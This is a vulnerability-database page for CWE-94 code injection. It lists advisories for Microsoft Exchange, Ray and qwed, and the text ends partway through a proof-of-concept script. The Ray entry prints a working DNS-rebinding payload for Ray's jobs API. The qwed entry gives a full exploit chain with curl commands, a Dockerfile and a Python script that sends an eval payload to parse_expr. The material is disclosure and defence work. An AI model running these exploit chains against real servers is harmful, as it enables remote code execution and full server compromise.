Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

9394 vulnerabilities reference this CWE, most recent first.

GHSA-Q258-48F4-R94W

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2025-02-28 21:31
VLAI
Details

Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31195.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-31198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-77",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-11T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31195.",
  "id": "GHSA-q258-48f4-r94w",
  "modified": "2025-02-28T21:31:54Z",
  "published": "2022-05-24T19:02:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31198"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31198"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-894"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q279-JHRF-CC6V

Vulnerability from github – Published: 2025-11-26 19:35 – Updated: 2025-12-01 16:02
VLAI
Summary
Ray is vulnerable to Critical RCE via Safari & Firefox Browsers through DNS Rebinding Attack
Details

Summary

Developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari.

Due to the longstanding decision by the Ray Development team to not implement any sort of authentication on critical endpoints, like the /api/jobs & /api/job_agent/jobs/ has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.

This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the User-Agent header starting with the string "Mozilla" as a defense mechanism. This defense is insufficient as the fetch specification allows the User-Agent header to be modified.

Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising).

Details

The mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.

Current Mitigation Strategies

def is_browser_request(req: Request) -> bool:
    """Checks if a request is made by a browser like user agent.

    This heuristic is very weak, but hard for a browser to bypass- eg,
    fetch/xhr and friends cannot alter the user-agent, but requests made with
    an http library can stumble into this if they choose to user a browser like
    user agent.
    """
    return req.headers["User-Agent"].startswith("Mozilla")


def deny_browser_requests() -> Callable:
    """Reject any requests that appear to be made by a browser"""

    def decorator_factory(f: Callable) -> Callable:
        @functools.wraps(f)
        async def decorator(self, req: Request):
            if is_browser_request(req):
                return Response(
                    text="Browser requests not allowed",
                    status=aiohttp.web.HTTPMethodNotAllowed.status_code,
                )
            return await f(self, req)

        return decorator

    return decorator_factory

https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155

    @aiohttp.web.middleware
    async def browsers_no_post_put_middleware(self, request, handler):
        if (
            # A best effort test for browser traffic. All common browsers
            # start with Mozilla at the time of writing.
            dashboard_optional_utils.is_browser_request(request)
            and request.method in [hdrs.METH_POST, hdrs.METH_PUT]
        ):
            return aiohttp.web.Response(
                status=405, text="Method Not Allowed for browser traffic."
            )

        return await handler(request)

https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196

This is because the fundamental assumption that the User-Agent header can't be manipulated is incorrect. In Firefox and in Safari, the fetch API allows the User-Agent header to be set to a different value. Chrome is not vulnerable, ironically, because of a bug, bringing it out of spec with the fetch specification.

Exploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like nccgroup/singularity.

PoC

Please note, this full PoC will be going live at time of disclosure.

  1. Launch Ray ray start --head --port=6379
  2. Ensure that the ray dashboard/service is running on port 8265
  3. Launch an internet facing version of NCCGroup/Singularity following the setup guide here.
  4. Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html
  5. Under "Attack Payload" select: Ray Jobs RCE (default port 8265)
  6. Click "Start Attack". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.
  7. Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.

If this attack doesn't work, consider clicking the "Toggle Advanced Options" and trying an alternative "Rebinding Strategy". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks may block DNS rebinding attacks, but likely not many.

What's going on?

This is the payload running in nccgroup/singularity:

/**
 * This payload exploits Ray (https://github.com/ray-project/ray)
 * It opens the "Calculator" application on various operating systems.
 * The payload can be easily modified to target different OSes or implementations.
 * The TCP port attacked is 8265.
 */

const RayRce = () => {

    // Invoked after DNS rebinding has been performed
    function attack(headers, cookie, body) {
        // Get the current timestamp in milliseconds
        const timestamp = Date.now();

        // OS-agnostic calculator command that tries multiple approaches
        const calculatorCommand = `
            # Try Windows calculator first
            if command -v calc.exe >/dev/null 2>&1; then
                echo Windows calculator launching
                calc.exe &
            # Try macOS calculator
            elif command -v open >/dev/null 2>&1; then
                echo macOS calculator launching
                open -a Calculator &
            elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then
                echo macOS calculator launching
                /System/Applications/Calculator.app/Contents/MacOS/Calculator &
            # Try Linux calculators
            elif command -v gnome-calculator >/dev/null 2>&1; then
                echo Linux calculator launching
                gnome-calculator &
            elif command -v kcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                kcalc &
            elif command -v xcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                xcalc &
            # Fallback: try to find any calculator binary
            else
                echo Linux calculator launching
                find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &
            fi
            echo RAY RCE: By JLLeitschuh ${timestamp}
        `;

        const data = {
            "entrypoint": calculatorCommand,
            "runtime_env": {},
            "job_id": null,
            "metadata": {
                "job_submission_id": timestamp.toString(),
                "source": "nccgroup/singluarity"
            }
        };

        sooFetch('/api/jobs/', {
            method: 'POST',
            headers: {
                'User-Agent': 'Other',
            },
            body: JSON.stringify(data),
        })
        .then(response => {
            console.log(response);
            return response.json()
        }) // parses JSON response into native JavaScript objects
        .then(data => {
            console.log('Success:', data);
        })
        .catch((error) => {
            console.error('Error:', error);
        });
    }

    // Invoked to determine whether the rebinded service
    // is the one targeted by this payload. Must return true or false.
    async function isService(headers, cookie, body) {
        return sooFetch("/",{
            mode: 'no-cors',
            credentials: 'omit',
        })
        .then(function (response) {
            return response.text()
        })
        .then(function (d) {
            if (d.includes("You need to enable JavaScript")) {
                return true;
            } else {
                return false;
            }
        })
        .catch(e => { return (false); })
    }

    return {
        attack,
        isService
    }
}

Registry["Ray Jobs RCE"] = RayRce();

See: https://github.com/nccgroup/singularity/pull/68

Impact

This vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.

This attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.

Fix

The fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html

Fix commit: https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09

Several browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. (Chrome Local Network Access). These changes may protect you, but a previous initiative, "private network access" was rolled back. So updating is highly recommended as a defense-in-depth strategy.

Credit

The fetch bypass was originally theorized by @avilum at Oligo. The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at Socket.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ray"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.52.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-26T19:35:23Z",
    "nvd_published_at": "2025-11-26T23:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "# Summary\n\nDevelopers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari. \n\nDue to the longstanding [decision](https://docs.ray.io/en/releases-2.51.1/ray-security/index.html) by the Ray Development team to not implement any sort of authentication on critical endpoints, like the `/api/jobs` \u0026 `/api/job_agent/jobs/` has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.\n\nThis vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the `User-Agent` header starting with the string \"Mozilla\" as a defense mechanism. This defense is insufficient as the fetch specification allows the `User-Agent` header to be modified.\n\nCombined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement ([malvertising](https://en.wikipedia.org/wiki/Malvertising)).\n\n# Details\n\nThe mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.\n\n## Current Mitigation Strategies\n\n```python\ndef is_browser_request(req: Request) -\u003e bool:\n    \"\"\"Checks if a request is made by a browser like user agent.\n\n    This heuristic is very weak, but hard for a browser to bypass- eg,\n    fetch/xhr and friends cannot alter the user-agent, but requests made with\n    an http library can stumble into this if they choose to user a browser like\n    user agent.\n    \"\"\"\n    return req.headers[\"User-Agent\"].startswith(\"Mozilla\")\n\n\ndef deny_browser_requests() -\u003e Callable:\n    \"\"\"Reject any requests that appear to be made by a browser\"\"\"\n\n    def decorator_factory(f: Callable) -\u003e Callable:\n        @functools.wraps(f)\n        async def decorator(self, req: Request):\n            if is_browser_request(req):\n                return Response(\n                    text=\"Browser requests not allowed\",\n                    status=aiohttp.web.HTTPMethodNotAllowed.status_code,\n                )\n            return await f(self, req)\n\n        return decorator\n\n    return decorator_factory\n```\n\nhttps://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155\n\n```python\n    @aiohttp.web.middleware\n    async def browsers_no_post_put_middleware(self, request, handler):\n        if (\n            # A best effort test for browser traffic. All common browsers\n            # start with Mozilla at the time of writing.\n            dashboard_optional_utils.is_browser_request(request)\n            and request.method in [hdrs.METH_POST, hdrs.METH_PUT]\n        ):\n            return aiohttp.web.Response(\n                status=405, text=\"Method Not Allowed for browser traffic.\"\n            )\n\n        return await handler(request)\n```\nhttps://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196\n\nThis is because the fundamental assumption that the `User-Agent` header can\u0027t be manipulated is incorrect. In Firefox and in Safari, the `fetch` API allows the `User-Agent` header to be set to a different value. Chrome is not vulnerable, ironically, because of a [bug](https://issues.chromium.org/issues/40450316), bringing it out of spec with the `fetch` specification.\n\nExploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like [nccgroup/singularity](https://github.com/nccgroup/singularity).\n\n# PoC\n\nPlease note, this full PoC will be going live at time of disclosure.\n\n 1. Launch Ray `ray start --head --port=6379`\n 2. Ensure that the ray dashboard/service is running on port `8265`\n 3. Launch an internet facing version of NCCGroup/Singularity following the [setup guide here](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).\n 4. Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html\n 5. Under \"Attack Payload\" select: `Ray Jobs RCE (default port 8265)`\n 6. Click \"Start Attack\". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.\n 7. Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.\n\nIf this attack doesn\u0027t work, consider clicking the \"Toggle Advanced Options\" and trying an alternative \"Rebinding Strategy\". I\u0027ve personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks _may_ block DNS rebinding attacks, but likely not many.\n\n## What\u0027s going on?\n\nThis is the payload running in [nccgroup/singularity](https://github.com/nccgroup/singularity):\n\n```javascript\n/**\n * This payload exploits Ray (https://github.com/ray-project/ray)\n * It opens the \"Calculator\" application on various operating systems.\n * The payload can be easily modified to target different OSes or implementations.\n * The TCP port attacked is 8265.\n */\n\nconst RayRce = () =\u003e {\n\n    // Invoked after DNS rebinding has been performed\n    function attack(headers, cookie, body) {\n        // Get the current timestamp in milliseconds\n        const timestamp = Date.now();\n        \n        // OS-agnostic calculator command that tries multiple approaches\n        const calculatorCommand = `\n            # Try Windows calculator first\n            if command -v calc.exe \u003e/dev/null 2\u003e\u00261; then\n                echo Windows calculator launching\n                calc.exe \u0026\n            # Try macOS calculator\n            elif command -v open \u003e/dev/null 2\u003e\u00261; then\n                echo macOS calculator launching\n                open -a Calculator \u0026\n            elif [ -f \"/System/Applications/Calculator.app/Contents/MacOS/Calculator\" ]; then\n                echo macOS calculator launching\n                /System/Applications/Calculator.app/Contents/MacOS/Calculator \u0026\n            # Try Linux calculators\n            elif command -v gnome-calculator \u003e/dev/null 2\u003e\u00261; then\n                echo Linux calculator launching\n                gnome-calculator \u0026\n            elif command -v kcalc \u003e/dev/null 2\u003e\u00261; then\n                echo Linux calculator launching\n                kcalc \u0026\n            elif command -v xcalc \u003e/dev/null 2\u003e\u00261; then\n                echo Linux calculator launching\n                xcalc \u0026\n            # Fallback: try to find any calculator binary\n            else\n                echo Linux calculator launching\n                find /usr/bin /usr/local/bin /opt -name \"*calc*\" -type f -executable 2\u003e/dev/null | head -1 | xargs -I {} {} \u0026\n            fi\n            echo RAY RCE: By JLLeitschuh ${timestamp}\n        `;\n        \n        const data = {\n            \"entrypoint\": calculatorCommand,\n            \"runtime_env\": {},\n            \"job_id\": null,\n            \"metadata\": {\n                \"job_submission_id\": timestamp.toString(),\n                \"source\": \"nccgroup/singluarity\"\n            }\n        };\n        \n        sooFetch(\u0027/api/jobs/\u0027, {\n            method: \u0027POST\u0027,\n            headers: {\n                \u0027User-Agent\u0027: \u0027Other\u0027,\n            },\n            body: JSON.stringify(data),\n        })\n        .then(response =\u003e {\n            console.log(response);\n            return response.json()\n        }) // parses JSON response into native JavaScript objects\n        .then(data =\u003e {\n            console.log(\u0027Success:\u0027, data);\n        })\n        .catch((error) =\u003e {\n            console.error(\u0027Error:\u0027, error);\n        });\n    }\n    \n    // Invoked to determine whether the rebinded service\n    // is the one targeted by this payload. Must return true or false.\n    async function isService(headers, cookie, body) {\n        return sooFetch(\"/\",{\n            mode: \u0027no-cors\u0027,\n            credentials: \u0027omit\u0027,\n        })\n        .then(function (response) {\n            return response.text()\n        })\n        .then(function (d) {\n            if (d.includes(\"You need to enable JavaScript\")) {\n                return true;\n            } else {\n                return false;\n            }\n        })\n        .catch(e =\u003e { return (false); })\n    }\n\n    return {\n        attack,\n        isService\n    }\n}\n\nRegistry[\"Ray Jobs RCE\"] = RayRce();\n```\n\nSee: https://github.com/nccgroup/singularity/pull/68\n \n# Impact\n \nThis vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.\n\nThis attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.\n\n# Fix\n\nThe fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html\n\nFix commit: https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09\n\nSeveral browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. ([Chrome Local Network Access](https://developer.chrome.com/blog/local-network-access)). These changes _may_ protect you, but a previous initiative, \"private network access\" was rolled back. So updating is highly recommended as a defense-in-depth strategy.\n\n# Credit\n\nThe fetch bypass was originally theorized by @avilum at [Oligo](https://www.oligo.security/). The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at [Socket](https://socket.dev/).",
  "id": "GHSA-q279-jhrf-cc6v",
  "modified": "2025-12-01T16:02:42Z",
  "published": "2025-11-26T19:35:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62593"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nccgroup/singularity/pull/68"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09"
    },
    {
      "type": "WEB",
      "url": "https://docs.ray.io/en/releases-2.51.1/ray-security/index.html"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/Malvertising"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ray-project/ray"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ray is vulnerable to Critical RCE via Safari \u0026 Firefox Browsers through DNS Rebinding Attack"
}

GHSA-Q27Q-98J4-9PFV

Vulnerability from github – Published: 2026-08-25 16:25 – Updated: 2026-08-25 16:25
VLAI
Summary
qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`
Details

Summary

The qwed package (version 5.1.1) passes attacker-controlled input directly to SymPy's parse_expr() function without a restricted namespace. Because parse_expr() internally calls Python's eval(), any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled /auth/signup endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.

Details

The vulnerability exists in two independently reachable code paths:

Primary sink — POST /verify/math

src/qwed_new/api/main.py:442 defines the /verify/math route, protected only by get_current_tenant (line 444), which accepts any valid tenant API key. The request body field expression is read at line 463 and passed through a cosmetic regex normalization at line 495 (re.sub(r'(\d)(\()', r'\1*\2', expression)) that performs no security validation. The normalized string is then passed directly to parse_expr() at line 504:

# src/qwed_new/api/main.py
expression = request.get("expression")
...
expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression)
...
parsed = parse_expr(expression_normalized)   # line 504 — unsandboxed eval

Secondary sink — POST /verify/batch

src/qwed_new/api/main.py:1481 defines the /verify/batch route. Batch items flow through batch_service.create_job() (line 1517) into batch.py:132 where item.query is stored verbatim, then processed by _verify_item() (line 167). When the item type is VerificationType.MATH (line 222), the expression is passed to parse_expr() at line 239 with no sanitization:

# src/qwed_new/core/batch.py
expression = item.query
...
parsed = parse_expr(expression)              # line 239 — unsandboxed eval

parse_expr() accepts a global_dict and local_dict parameter that, when set to {"__builtins__": {}} and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.

PoC

Environment setup (Docker)

# Build from repository root (one level above vuln-001/)
docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .

# Run the server (binds to localhost:8765)
docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001

The Dockerfile installs qwed from the local repository source with all dependencies and starts the server with the following environment:

  • QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789
  • API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789
  • QWED_CORS_ORIGINS=http://localhost
  • QWED_SKIP_ENV_INTEGRITY_CHECK=true
  • DATABASE_URL=sqlite:////tmp/qwed-poc.db

Automated exploit (poc.py)

python3 vuln-001/poc.py --host 127.0.0.1 --port 8765

The script performs three steps:

  1. Register an account — POST /auth/signup with arbitrary email/password/organization (no invite code or admin approval required).
  2. Obtain an API key — POST /auth/api-keys using the JWT returned from signup.
  3. Send the RCE payload — POST /verify/math with the x-api-key header and the expression:
__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')

Expected output

[+] Server is ready.
[+] Account created; JWT bearer token obtained.
[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...
[*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
[*] HTTP status : 200
[*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"}
[PASS] HTTP 200 returned — payload evaluated without error.

The server returns HTTP 200 and {"value": 23.0} — the return value of write_text() (23 bytes written), cast by SymPy to Integer(23). This proves the Python expression was executed inside the server process.

Decisive verification

docker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce
# Expected: pwned_by_parse_expr_rce

The same technique applies to POST /verify/batch by submitting a batch job with a math item whose query field contains the payload; a separate marker file /tmp/qwed_batch_parse_expr_rce was also confirmed during dynamic testing.

Manual curl reproduction (no Python script)

# Step 1: sign up and capture JWT
TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \
  -H 'Content-Type: application/json' \
  -d '{"email":"poc@example.com","password":"Password123!","organization_name":"poc-org"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["access_token"])')

# Step 2: create API key
APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"name":"poc"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])')

# Step 3: send payload
rm -f /tmp/qwed_parse_expr_rce
curl -sS -X POST http://127.0.0.1:8765/verify/math \
  -H 'Content-Type: application/json' \
  -H "x-api-key: $APIKEY" \
  -d '{"expression":"__import__('"'"'pathlib'"'"').Path('"'"'/tmp/qwed_parse_expr_rce'"'"').write_text('"'"'owned'"'"')"}'

# Step 4: confirm file was written by the server process
cat /tmp/qwed_parse_expr_rce
# Expected: owned

Impact

This is an Authenticated Remote Code Execution vulnerability. Any user who can create a tenant account (which is possible by default, since /auth/signup requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user.

Concrete impact includes:

  • Confidentiality — read any file accessible to the server process (environment variables, secret keys, database contents, source code).
  • Integrity — write or overwrite any file accessible to the server process, modify database records, plant backdoors.
  • Availability — terminate the server process, exhaust resources, corrupt persistent storage.

In a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration.

Reproduction artifacts

Dockerfile

# VULN-001 Reproduction Environment
# Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1
#
# Build from the repo root (one level above vuln-001/):
#   docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .
#
# Run:
#   docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001

FROM python:3.12-slim-bookworm

ENV PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1

WORKDIR /app

# Install minimal build dependencies required by some native extensions
RUN apt-get update \
    && apt-get install -y --no-install-recommends gcc g++ \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/*

# Copy the repository source
COPY repo/ /app/repo/

# Install hatchling build backend, then install the package with all dependencies
# z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12
RUN pip install --no-cache-dir --upgrade pip hatchling \
    && pip install --no-cache-dir -e /app/repo

# Runtime environment variables — minimal set required to start the server
ENV QWED_JWT_SECRET_KEY="test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
    API_KEY_SECRET="test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
    QWED_CORS_ORIGINS="http://localhost" \
    QWED_SKIP_ENV_INTEGRITY_CHECK="true" \
    DATABASE_URL="sqlite:////tmp/qwed-poc.db"

EXPOSE 8765

CMD ["python3", "-m", "uvicorn", "qwed_new.api.main:app", \
     "--host", "0.0.0.0", "--port", "8765", "--log-level", "warning"]

poc.py

#!/usr/bin/env python3
"""
Proof of Concept: Authenticated RCE via Unsafe SymPy parse_expr() — VULN-001

Affected product : QWED 5.1.1 (QWED-AI/qwed-verification)
Endpoint         : POST /verify/math
CWE              : CWE-94 — Improper Control of Code Generation
CVSS             : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Root cause:
  src/qwed_new/api/main.py:504 passes attacker-controlled input directly to
  sympy.parsing.sympy_parser.parse_expr() without a restricted global/local
  namespace.  parse_expr() internally calls eval(), so any valid Python
  expression — including __import__() calls — is executed server-side.

Exploit chain:
  1. Register an account via POST /auth/signup   (open to any user by default)
  2. Obtain an API key via POST /auth/api-keys
  3. POST /verify/math with expression=<python code>
     The code runs inside the server process.

Observable evidence:
  - HTTP 200 response (not 4xx/5xx) proves the payload was evaluated
  - A marker file is written inside the container; verify with:
      docker exec <container> cat /tmp/qwed_parse_expr_rce
    Expected content: "pwned_by_parse_expr_rce"

Usage:
  python3 poc.py [--host 127.0.0.1] [--port 8765]
"""

import argparse
import json
import sys
import time

import requests

# Path written inside the server process by the RCE payload
RCE_MARKER_PATH = "/tmp/qwed_parse_expr_rce"
# Content written to the marker file (must not contain quotes)
RCE_MARKER_CONTENT = "pwned_by_parse_expr_rce"


def wait_for_server(base_url: str, timeout: int = 90) -> bool:
    """Poll the server health endpoint until it responds or timeout expires."""
    print(f"[*] Waiting for server at {base_url} (up to {timeout}s)...")
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            r = requests.get(f"{base_url}/health", timeout=2)
            if r.status_code < 500:
                return True
        except requests.exceptions.ConnectionError:
            pass
        time.sleep(2)
    return False


def signup(base_url: str) -> str:
    """
    Create an attacker-controlled account and return the JWT bearer token.
    /auth/signup is enabled by default and requires no prior authorization.
    """
    payload = {
        "email": "poc-attacker@example.com",
        "password": "Attacker1234!",
        "organization_name": "vuln001-attacker-org",
    }
    r = requests.post(f"{base_url}/auth/signup", json=payload, timeout=15)
    if r.status_code == 400 and "already registered" in r.text:
        # Account exists from a previous run; sign in instead
        sign_in_payload = {
            "email": payload["email"],
            "password": payload["password"],
        }
        r = requests.post(f"{base_url}/auth/signin", json=sign_in_payload, timeout=15)
    r.raise_for_status()
    token = r.json()["access_token"]
    return token


def create_api_key(base_url: str, bearer_token: str) -> str:
    """
    Create an API key for the attacker account.
    Returns the plaintext key (shown only once by the API).
    """
    headers = {"Authorization": f"Bearer {bearer_token}"}
    r = requests.post(
        f"{base_url}/auth/api-keys",
        json={"name": "vuln001-poc"},
        headers=headers,
        timeout=15,
    )
    r.raise_for_status()
    return r.json()["key"]


def exploit(base_url: str, api_key: str) -> dict:
    """
    Send the RCE payload to POST /verify/math.

    The expression uses pathlib.Path.write_text() which:
      - Writes RCE_MARKER_CONTENT to RCE_MARKER_PATH inside the server process
      - Returns an integer (bytes written) that parse_expr() can handle without
        raising an exception, making the side-effect transparent to the caller

    The absence of an error and a 200 status code proves code execution.
    """
    expression = (
        f"__import__('pathlib')"
        f".Path('{RCE_MARKER_PATH}')"
        f".write_text('{RCE_MARKER_CONTENT}')"
    )
    headers = {
        "Content-Type": "application/json",
        "x-api-key": api_key,
    }
    r = requests.post(
        f"{base_url}/verify/math",
        json={"expression": expression},
        headers=headers,
        timeout=20,
    )
    content_type = r.headers.get("content-type", "")
    body = r.json() if "application/json" in content_type else r.text
    return {"status_code": r.status_code, "body": body}


def main() -> None:
    parser = argparse.ArgumentParser(
        description="PoC for VULN-001: Authenticated RCE via SymPy parse_expr() in QWED 5.1.1"
    )
    parser.add_argument("--host", default="127.0.0.1", help="API server host")
    parser.add_argument("--port", type=int, default=8765, help="API server port")
    args = parser.parse_args()

    base_url = f"http://{args.host}:{args.port}"

    # ── Step 0: wait for server ──────────────────────────────────────────────
    if not wait_for_server(base_url):
        print("[FAIL] Server did not become ready within the timeout.")
        sys.exit(1)
    print("[+] Server is ready.\n")

    # ── Step 1: sign up ──────────────────────────────────────────────────────
    print("[*] Step 1/3: Creating attacker account via POST /auth/signup")
    bearer_token = signup(base_url)
    print("[+] Account created; JWT bearer token obtained.\n")

    # ── Step 2: API key ──────────────────────────────────────────────────────
    print("[*] Step 2/3: Obtaining API key via POST /auth/api-keys")
    api_key = create_api_key(base_url, bearer_token)
    print(f"[+] API key (first 20 chars): {api_key[:20]}...\n")

    # ── Step 3: exploit ──────────────────────────────────────────────────────
    rce_expression = (
        f"__import__('pathlib')"
        f".Path('{RCE_MARKER_PATH}')"
        f".write_text('{RCE_MARKER_CONTENT}')"
    )
    print("[*] Step 3/3: Sending RCE payload to POST /verify/math")
    print(f"    expression = {rce_expression}\n")

    result = exploit(base_url, api_key)

